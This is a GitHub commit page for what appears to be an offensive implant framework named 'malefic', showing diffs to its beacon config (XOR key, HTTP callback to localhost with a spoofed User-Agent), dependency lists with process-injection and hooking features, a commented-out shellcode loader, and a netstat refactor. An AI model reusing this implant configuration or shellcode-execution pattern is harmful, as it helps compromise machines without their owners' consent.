Skip to content

Commit 3aea9cd

Browse files
h3zh1h3zh1
committed
Enhancements and Bug Fixes
- refactor: Removed unused libraries including sysinfo, netstat2-rs, and whoami to streamline codebase. - fix: tashschd、reg and add need_output param, - update: proto
1 parent c71ba53 commit 3aea9cd

52 files changed

Lines changed: 5849 additions & 957 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎config.yaml‎

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,11 +19,11 @@ pulse:
1919
artifact_id: 0
2020
encryption: xor
2121
key: "maliceofinternal"
22-
target: 127.0.0.1:5002
23-
protocol: "tcp"
22+
target: 127.0.0.1:80
23+
protocol: "http"
2424
http:
2525
method: "POST"
26-
path: "/pulse.bin"
26+
path: "/pulse"
2727
version: "1.1"
2828
headers:
2929
User_Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"

‎malefic-core/src/common/sys.rs‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ pub fn get_sysinfo() -> Option<SysInfo> {
4040
owner: process.owner,
4141
path: process.path,
4242
args: process.args,
43-
uid: process.uid,
43+
uid: "".to_string(),
4444
})
4545
})
4646
}

‎malefic-helper/Cargo.toml‎

Lines changed: 34 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ community = []
1313
professional = []
1414
source = []
1515
prebuild = []
16+
sysinfo = []
1617

1718
Inject = []
1819
Win_Inject_APC = ["Inject"]
@@ -41,39 +42,48 @@ anyhow = "1.0.81"
4142
obfstr = "0.4.3"
4243
strum = "0.26.3"
4344
strum_macros = "0.26.4"
44-
thiserror = "1.0.64"
45-
sysinfo = { version = "0.31.2", optional = true }
46-
whoami = "1.5.1"
47-
netstat2 = {git = "https://github.com/chainreactors/netstat2-rs", tag = "v0.11.2"}
45+
thiserror = "1.0.64"
4846
sha2 = "0.10"
4947

48+
[dependencies.winapi]
49+
version = "0.3"
50+
features = ["errhandlingapi", "handleapi", "ioapiset", "minwindef", "namedpipeapi", "synchapi", "winbase", "winerror", "ntdef", "fileapi", "winnt", "minwinbase"]
51+
5052
[target.'cfg(target_os = "windows")'.dependencies]
5153
detour = { git = "https://github.com/chainreactors/retour-rs", branch = "fix-nightly1.67.0-changes" }
5254
wmi = { git = "https://github.com/chainreactors/wmi-rs" }
55+
5356
[dependencies.windows]
5457
version = "0.58.0"
5558
features = [
56-
"Win32_Storage_FileSystem",
57-
"Win32_Storage",
58-
"Win32_System_IO",
59-
"Win32_System_Threading",
60-
"Win32_System_Memory",
61-
"Win32_System_Diagnostics_ToolHelp",
62-
"Win32_Foundation",
63-
"Win32_Security",
64-
"Win32_System_Services",
65-
"Win32_System_TaskScheduler",
66-
"Win32_System_SystemServices",
67-
"Win32_System_SystemInformation",
68-
"Win32_System_Registry",
69-
"Win32_System_Console",
70-
"Win32_System_LibraryLoader",
71-
"Win32_System_Pipes",
72-
"Win32_System_Diagnostics_Debug"
59+
"Win32_Storage_FileSystem",
60+
"Win32_Storage",
61+
"Win32_System_IO",
62+
"Win32_System_Threading",
63+
"Win32_System_Memory",
64+
"Win32_System_Diagnostics_ToolHelp",
65+
"Win32_Foundation",
66+
"Win32_Security",
67+
"Win32_System_Services",
68+
"Win32_System_TaskScheduler",
69+
"Win32_System_SystemServices",
70+
"Win32_System_SystemInformation",
71+
"Win32_System_Registry",
72+
"Win32_System_Console",
73+
"Win32_System_LibraryLoader",
74+
"Win32_System_Pipes",
75+
"Win32_System_Diagnostics_Debug",
76+
"Win32_NetworkManagement_IpHelper",
77+
"Win32_Networking_WinSock",
78+
"Win32_System_ProcessStatus",
79+
"Win32_System_WindowsProgramming",
80+
"Win32_UI",
81+
"Wdk_System_Threading",
82+
"Wdk_System",
83+
"Win32_UI_Shell"
7384
]
7485

75-
76-
7786
[target.'cfg(unix)'.dependencies]
87+
nix = "0.26"
7888
libc = "0.2"
79-
nix = "0.28.0"
89+
users = "0.11"

‎malefic-helper/src/common/loader.rs‎

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
#[cfg(target_os = "linux")]
2+
use crate::linux::process;
3+
#[cfg(target_os = "windows")]
4+
use crate::win::loader;
5+
6+
// use crate::common::memory::malloc_and_set_memory;
7+
// pub fn loader(shellcode : Vec<u8>) {
8+
// let memory = malloc_and_set_memory(shellcode);
9+
// if memory.is_err() {
10+
// return;
11+
// }
12+
// let memory = memory.unwrap();
13+
//
14+
// let f: extern "C" fn() = unsafe { std::mem::transmute(memory.get_ptr()) };
15+
// f();
16+
// }
17+

‎malefic-helper/src/common/mod.rs‎

Lines changed: 4 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -1,49 +1,8 @@
1-
use std::ffi::OsString;
2-
31
pub mod filesys;
2+
pub mod hot_modules;
3+
// pub mod loader;
44
pub mod memory;
5-
pub mod sysinfo;
6-
pub mod process;
75
pub mod net;
8-
pub mod hot_modules;
9-
pub mod loader;
6+
pub mod process;
7+
pub mod sysinfo;
108
pub mod utils;
11-
12-
pub fn format_cmdline(processname: String, params: Vec<String>) -> String {
13-
if params.is_empty() {
14-
return format_osstring(processname);
15-
}
16-
17-
let param_str = params.join(" ");
18-
return format_osstring(processname + " " + &param_str);
19-
}
20-
pub fn format_osstring(os_string: String) -> String {
21-
#[cfg(target_os = "windows")]
22-
{
23-
use std::os::windows::ffi::OsStrExt;
24-
String::from_utf16_lossy(&OsString::from(os_string).encode_wide().collect::<Vec<u16>>())
25-
}
26-
#[cfg(not(target_os = "windows"))]
27-
{
28-
String::from(OsString::from(os_string).to_string_lossy())
29-
}
30-
}
31-
32-
pub fn convert_u8p2vec(data: *const u8) -> Vec<u8> {
33-
unsafe {
34-
let mut ret_vec = Vec::new();
35-
if data.is_null() {
36-
return ret_vec;
37-
}
38-
let mut i = 0;
39-
loop {
40-
let byte = *data.add(i);
41-
if byte == 0 {
42-
break;
43-
}
44-
ret_vec.push(byte);
45-
i += 1;
46-
}
47-
ret_vec
48-
}
49-
}

‎malefic-helper/src/common/net.rs‎

Lines changed: 41 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,12 @@
1-
use netstat2::{AddressFamilyFlags, get_sockets_info, ProtocolFlags, ProtocolSocketInfo};
21
use crate::{to_error, CommonError};
32

3+
#[cfg(target_os = "macos")]
4+
use crate::darwin::netstat;
5+
#[cfg(target_os = "linux")]
6+
use crate::linux::netstat;
7+
#[cfg(target_os = "windows")]
8+
use crate::win::netstat;
9+
410
#[cfg_attr(debug_assertions, derive(Debug))]
511
#[derive(Clone)]
612
pub struct NetInterface {
@@ -22,39 +28,44 @@ pub struct NetStat {
2228
pub remote_addr: String,
2329
pub protocol: String,
2430
pub pid: String,
25-
// pub uid: u32,
2631
pub sk_state: String,
2732
}
2833

2934
pub fn get_netstat() -> Result<Vec<NetStat>, CommonError> {
3035
let mut netstats = Vec::new();
31-
32-
let af_flags = AddressFamilyFlags::IPV4 | AddressFamilyFlags::IPV6;
33-
let proto_flags = ProtocolFlags::TCP | ProtocolFlags::UDP;
34-
let sockets_info = to_error!(get_sockets_info(af_flags, proto_flags))?;
35-
36-
for si in sockets_info {
37-
let pid: Vec<String> = si.associated_pids.iter().map(|n| n.to_string()).collect();
38-
match si.protocol_socket_info {
39-
ProtocolSocketInfo::Tcp(tcp_si) => {
40-
netstats.push(NetStat{
41-
local_addr: tcp_si.local_addr.to_string(),
42-
remote_addr: tcp_si.remote_addr.to_string(),
43-
protocol: "tcp".to_string(),
44-
pid: pid.join(","),
45-
sk_state: tcp_si.state.to_string()
46-
})
47-
},
48-
ProtocolSocketInfo::Udp(udp_si) => {
49-
netstats.push(NetStat{
50-
local_addr: udp_si.local_addr.to_string(),
51-
remote_addr: "".to_string(),
52-
protocol: "udp".to_string(),
53-
pid: pid.join(","),
54-
sk_state: "".to_string()
55-
})
56-
}
57-
}
36+
37+
let sockets = to_error!(netstat::get_sockets(true, true, true, true))?;
38+
39+
for socket in sockets {
40+
netstats.push(NetStat {
41+
local_addr: socket.local_addr,
42+
remote_addr: socket.remote_addr,
43+
protocol: socket.protocol,
44+
pid: socket.pid.to_string(),
45+
sk_state: socket.state,
46+
});
5847
}
48+
5949
Ok(netstats)
60-
}
50+
}
51+
52+
#[cfg(test)]
53+
mod tests {
54+
use super::*;
55+
56+
#[test]
57+
fn test_get_netstat() {
58+
let result = get_netstat();
59+
assert!(result.is_ok(), "Should get netstat information");
60+
let netstats = result.unwrap();
61+
assert!(!netstats.is_empty(), "Should have some network connections");
62+
63+
for netstat in netstats {
64+
assert!(
65+
!netstat.local_addr.is_empty(),
66+
"Local address should not be empty"
67+
);
68+
assert!(!netstat.protocol.is_empty(), "Protocol should not be empty");
69+
}
70+
}
71+
}

0 commit comments

Comments
 (0)